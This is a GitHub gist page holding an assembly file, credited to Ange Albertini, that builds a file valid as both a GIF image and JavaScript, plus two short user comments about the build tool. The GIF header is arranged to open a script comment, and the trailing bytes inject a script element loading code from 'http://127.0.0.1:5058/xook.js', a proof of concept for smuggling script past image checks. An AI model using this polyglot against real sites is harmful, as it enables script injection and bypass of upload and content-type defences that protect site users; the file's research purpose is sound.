Last active
November 16, 2023 07:20
-
-
Save ajinabraham/f2a057fb1930f94886a3 to your computer and use it in GitHub Desktop.
A Valid GIF and JS file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; a hand-made GIF containing valid JavaScript code | |
; abusing header to start a JavaScript comment | |
; inspired by Saumil Shah's Deadly Pixels presentation | |
; Ange Albertini, BSD Licence 2013 | |
; yamal gifjs.asm -o img.gif | |
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment | |
HEIGTH equ 100 ; just to make it easier to spot | |
db 'GIF89a' | |
dw WIDTH, HEIGTH | |
db 0 ; GCT | |
db -1 ; background color | |
db 0 ; default aspect ratio | |
;db 0fch, 0feh, 0fch | |
;times COLORS db 0, 0, 0 | |
; no need of Graphic Control Extension | |
; db 21h, 0f9h | |
; db GCESIZE ; size | |
; gce_start: | |
; db 0 ; transparent background | |
; dw 0 ; delay for anim | |
; db 0 ; other transparent | |
; GCESIZE equ $ - gce_start | |
; db 0 ; end of GCE | |
db 02ch ; Image descriptor | |
dw 0, 0 ; NW corner | |
dw WIDTH, HEIGTH ; w/h of image | |
db 0 ; color table | |
db 2 ; lzw size | |
;db DATASIZE | |
;data_start: | |
; db 00, 01, 04, 04 | |
; DATASIZE equ $ - data_start | |
db 0 | |
db 3bh ; GIF terminator | |
; end of the GIF | |
db '*/' ; closing the comment | |
db '=1;' ; creating a fake use of that GIF89a string | |
db 's = document.createElement("script");' | |
db 's.src = "http://127.0.0.1:5058/xook.js";' | |
db 'document.body.appendChild(s);' |
Ah...yasm is the correct command, not yamal.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
What libraries/tools are needed to execute the yamal command? I've tried various node and python libs related to yaml, but none so far allow me to execute a "yamal foo.asm" command.